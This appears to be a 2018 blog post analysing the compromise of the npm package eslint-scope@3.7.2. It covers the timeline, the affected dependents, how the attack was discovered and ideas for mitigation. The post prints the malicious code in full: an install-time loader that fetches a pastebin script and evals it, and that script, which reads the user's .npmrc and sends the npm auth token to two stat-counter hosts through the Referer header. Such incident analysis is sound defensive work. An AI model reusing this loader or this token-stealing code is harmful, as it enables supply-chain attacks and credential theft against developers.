TTttty·Jul 12, 2018
# Tech summary:
- Since 2018-07-12 9:49 UTC eslint-scope has been infected and the script was trying to send your ".npmrc" file to two different stat counter websites (sstatic1.histats.com, c.statcounter.com), via the referrer header.Affected packages: eslint-scope@3.7.2 and eslint-config-eslint@5.0.2.
- The ".npmrc" (contains your npm tokens to publish a new npm package under your account) would allow the attacker to publish other npm package under your name (if you are a owner) and make a bigger mess.
- Looks like the attacker wanted to gain more npm packages and maybe has done so already. The attacker removed the infected package at 2018-07-12 12:37 UTC so he had at least a few hours to gather other npm auth tokens.
- Between 2018-07-12 12:37 UTC and 2018-07-12 17:41 UTC the package eslint-scope@3.7.2 has been removed, but some pc coul
Read the rest
d get this old package because of some cache, increasing the attack vector. Only at 2018-07-12 17:41 UTC a new version has been deployed.
- Be careful if you cache npm packages on your server (nexus or similar).
# All npm packages that directly depends on "eslint-scope"
- "webpack" (9k dependents)
- "eslint" (6k dependents)
- "babel-eslint" (5k dependents)
- "vue-eslint-parser"
- "atom-eslint-parser"
- "eslint-web"
- "react-input-select"
- "react-native-handcheque-engine"
- "react-redux-demo1"
- "a_react_reflux_demo"
- "eslint-nullish-coalescing"
- "@mattduffield/eslint4b"
- "miguelcostero-ng2-toasty"
- "@sailshq/eslint"
- "eslint4b"
- "@helpscout/zero"
Be careful there are more packages that depends on these as well.
# What to do now?
Assume your ".npmrc" file has been stolen. If you have any packages published they might have been compromised, check them. NPM team revoked all auth tokens at 2018-07-12 12:30 UTC.
# How it happened:
"The maintainer whose account was compromised had reused their npm password on several other sites and did not have two-factor authentication enabled on their npm account."
# How has been discovered
At 12:17 UK time on 12 July 2018 https://github.com/pronebird opened an issue https://github.com/eslint/eslint-scope/issues/39 with this log error:
[2/3] ⠠ eslint-scope
error /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope: Command failed.
Exit code: 1
Command: node ./lib/build.js
Arguments:
Directory: /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope
Output:
undefined:30
https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+conten
^^^^^^
SyntaxError: Unexpected end of input
at IncomingMessage.r.on (/Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope/lib/build.js:6:10)
at emitOne (events.js:116:13)
at IncomingMessage.emit (events.js:211:7)
at IncomingMessage.Readable.read (_stream_readable.js:475:10)
at flow (_stream_readable.js:846:34)
at resume_ (_stream_readable.js:828:3)
at _combinedTickCallback (internal/process/next_tick.js:138:11)
So looks like if there was no error we would not discover it so quickly. So we were lucky!
#Technical details:
node_module code for eslint-scope-3.7.2 https://registry.npmjs.org/eslint-scope/-/eslint-scope-3.7.2... (still the original code):
try {
var https = require('https');
https.get({
'hostname': 'pastebin.com',
path: '/raw/XLeVP82h',
headers: {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
}
}, (r) => {
r.setEncoding('utf8');
r.on('data', (c) => {
eval(c);
});
r.on('error', () => {
});
}).on('error', () => {
});
} catch (e) {
}
Pastebin script http://pastebin.com/raw/XLeVP82h (Now removed):
try {
var path = require('path');
var fs = require('fs');
var npmrc = path.join(process.env.HOME || process.env.USERPROFILE, '.npmrc');
var content = "nofile";
if (fs.existsSync(npmrc)) {
content = fs.readFileSync(npmrc, {encoding: 'utf8'});
content = content.replace('//registry.npmjs.org/:_authToken=', '').trim();
var https1 = require('https');
https1.get({
hostname: 'sstatic1.histats.com',
path: '/0.gif?4103075&101',
method: 'GET',
headers: {Referer: 'http://1.a/' + content}
}, () => {
}).on("error", () => {
});
https1.get({
hostname: 'c.statcounter.com',
path: '/11760461/0/7b5b9d71/1/',
method: 'GET',
headers: {Referer: 'http://2.b/' + content}
}, () => {
}).on("error", () => {
});
}
} catch (e) {
}
"As you can tell, the script finds your npmrc file and passes your auth token to two different stat counter websites, via the referrer header."
Source: https://github.com/eslint/eslint-scope/issues/39
# How to mitigate front-end code from malicious npm/yarn packages
I actually discussed this with my colleagues at work. I think from now on I'll assume that all code is compromised.
One big way to reduce this attack vector is to use content-security-privacy set to sandbox https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP . This will not allow your page to open any requests to other websites, not even a img tag or window.open. In this way even if the attacked has your password can't send it to his server.
Of course he can mess up with your code, but reduces a bit the attack vector. Example: let's say you are building a trading platform, you want to buy 1 share, but the attacker will bump your order to 10 shares without you even knowing. For this to happen, the attacker has to specifically target your website.
Read more about security of node_modules and other packages (this could affect java and other languages, not just javascript and npm/yarn): https://hackernoon.com/im-harvesting-credit-card-numbers-and...
Be careful that if you white list google analytics the attacker can send the passwords to his google analytics account as well. You could also check if the url of analytics contains your GA-ID, but the attacker could bypass this one as well.
# What to do next
Think of more ways to mitigate malicious node_modules and how to handle it.
Even if npm will improve the security, we still can't rely on devs to have the best interest in mind or being hacked. So I think we really need to accept that npm modules are infected by default and work from there.
# More implications that I can think about (add more please)
Assume your server (jenkins) that loads your node_modules can also be infected (you could use docker to mitigate this issue).
If you run a node.js app, be careful about the open ports and the network request (limit in and outbound domains). That's not enough, the attacker could generate a new route on your website "/your-passwords" and return a json with your users table. Not easy to do, but possible if your server has a malicious node_module.
Any other important/private files you have on your pc could have been stolen.
Very unlikely: Your server side could be infected (maybe some other code has been executed there from this package, I'm not sure if you can update the pastebin contents) and propagate to other servers.
This is just a package we happened to notice, maybe there are more infected packages we don't know about.